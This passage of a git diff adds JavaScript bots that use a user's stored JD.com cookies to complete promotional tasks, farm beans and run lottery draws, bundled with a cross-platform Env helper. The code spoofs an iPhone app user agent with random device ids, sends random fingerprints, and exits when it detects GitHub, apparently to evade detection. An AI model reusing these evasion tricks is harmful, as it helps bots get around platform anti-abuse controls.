if(subTask.status === 1){ + console.log(`[${task.taskName}] 正在做任务...`) + if(task.waitDuration !== 0){ + await taskRequest("beanDoTask", `{"actionType":1,"taskToken":"${subTask.taskToken}"}`) + console.log(`[${task.taskName}] 等待 ${task.waitDuration} 秒`) + await $.wait(task.waitDuration * 1000) + await taskRequest("beanDoTask", `{"actionType":0,"taskToken":"${subTask.taskToken}"}`) + } else await taskRequest("beanDoTask", `{"actionType":0,"taskToken":"${subTask.taskToken}"}`) + } + await $.wait(3000) + } + } + } + } while($.taskInfos.length !== 0); + // 从京东首页领京豆进入 + if(!$.viewAppHome){ + console.log(`[从京东首页领京豆进入] 正在做任务...`) + await taskRequest("beanHomeIconDoTask", `{"flag":"0","viewChannel":"AppHome"}`) + if(!$.viewAppHome){ + await $.wait(2000) + await taskRequest("beanHomeIconDoTask", `{"flag":"1","viewChannel":"AppHome"}`) + } + } + message += `[本次执行] 获得成长值:${$.addedGrowth}\n` + } +} + +function taskRequest(functionId, body){ + return new Promise((resolve) => { + let options = taskUrl_xh(functionId, body); + $.get(options, (err, resp, data) => { + try{ + if(safeGet(data)){ + data = JSON.parse(data); + if(data.code === "3"){ + console.log(`用户未登录`) + message += `用户未登录` + $.isLogin = false; + return; + } + if(data.code === "0"){ + switch(functionId){ + case "morningGetBean": + if(data.data.awardResultFlag === "1"){ + console.log(`${data.data.bizMsg}, 获得京豆 ${data.data.beanNum} 个\n`) + message += `[早起福利] 获得京豆 ${data.data.beanNum} 个\n` + } else { + console.log(`执行失败,原因:${data.data.bizMsg}\n`) + message += `[早起福利] ${data.data.bizMsg} \n` + } + break; + case "beanTaskList" : + for(let task of data.data.taskInfos) task.status === 1 ? $.taskInfos.push(task) : '' + $.viewAppHome = data.data.viewAppHome.doneTask + break; + case "beanDoTask" : + if(typeof data.errorCode === "undefined"){ + if(data.data.taskStatus === 1 || data.data.taskStatus === 2){ + console.log(`${data.data.bizMsg}\n`) + $.addedGrowth += data.data.growthResult.addedGrowth + } + } else console.log(`${data.data.errorMessage}\n`) + break; + case "beanHomeIconDoTask": + if(typeof data.errorCode === "undefined"){ + $.addedGrowth += 50; + console.log(`${data.data.remindMsg}\n`) + } else console.log(`${data.errorMessage}`) + } + } + } + } catch(e){ + console.log(e); + } finally{ + resolve(); + } + }); + }); +} + +function safeGet(data){ + try{ + if(typeof JSON.parse(data) == "object"){ + return true; + } + } catch(e){ + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){this.env = t} + + send(t, e = "GET"){ + t = "string" == typeof t ? { url: t } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s)})}) + } + + get(t){return this.send.call(this.env, t)} + + post(t){return this.send.call(this.env, t, "POST")} + } + + return new class{ + constructor(t, e){this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)} + + isNode(){return "undefined" != typeof module && !!module.exports} + + isQuanX(){return "undefined" != typeof $task} + + isSurge(){return "undefined" != typeof $httpClient && "undefined" == typeof $loon} + + isLoon(){return "undefined" != typeof $loon} + + toObj(t, e = null){try{return JSON.parse(t)} catch{return e}} + + toStr(t, e = null){try{return JSON.stringify(t)} catch{return e}} + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{s = JSON.parse(this.getdata(t))} catch{} + return s + } + + setjson(t, e){try{return this.setdata(JSON.stringify(t), e)} catch{return !1}} + + getScript(t){return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i))})} + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{return JSON.parse(this.fs.readFileSync(i))} catch(t){return {}} + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)} + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){e = ""} + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null} + + setval(t, e){return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null} + + initGotEnv(t){this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))} + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){this.logErr(t)} + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)}); else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); else if(this.isNode()){ + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { url: e } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))} + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){return new Promise(e => setTimeout(e, t))} + + done(t = {}){ + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_lottery.js b/jd_lottery.js new file mode 100644 index 0000000..dc511e3 --- /dev/null +++ b/jd_lottery.js @@ -0,0 +1,375 @@ +/* +[task_local] +#joy抽奖机通用 +0 0,10 * * * jd_lottery.js, tag=joy抽奖机通用, enabled=true + +//变量:export JD_Lottery="id" 多个使用 @ 连接 + */ +const $ = new Env('joy抽奖机通用'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +let llnothing=true; +let lottery = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if (process.env.JD_Lottery && process.env.JD_Lottery != "") { + lottery = process.env.JD_Lottery.split('@'); +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (!lottery) { + console.log("\n衰仔你好,衰仔你好!!!\n你不填写变量 JD_Lottery,\n是不是玩我呢!\n我很生气,拒接执行o(╥﹏╥)o"); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for (let j = 0; j < lottery.length; j++) { + $.configCode = lottery[j] + console.log(`活动ID: ${$.configCode}`); + await getUA() + await jdmodule(); + //await showMsg(); + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + console.log('\n开始做任务:'); + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + var num=1; + if ($.chanceLeft >= 1) { + console.log('\n开始抽奖'); + } else { + console.log('\n没有抽奖机会了'); + } + for (let x = 0; x < $.chanceLeft; x++) { + await join(num); + await $.wait(1500) + num++ + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (!vo.taskItem) { + continue; + } + //console.log(vo); + if (vo.taskName == '每日签到') { + console.log(`${vo.taskName} => ${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`${vo.taskName} => ${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`${vo.taskName} => ${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`${vo.taskName} => ${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.UA, + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join(num) { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.UA, + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + if (data.data.rewardName == null) { + console.log(`第${num}次获得: 空气`); + } else { + console.log(`第${num}次获得: ${data.data.rewardName}`); + } + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + // console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + //console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.UA, + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.UA, + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +async function getUA(){ + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 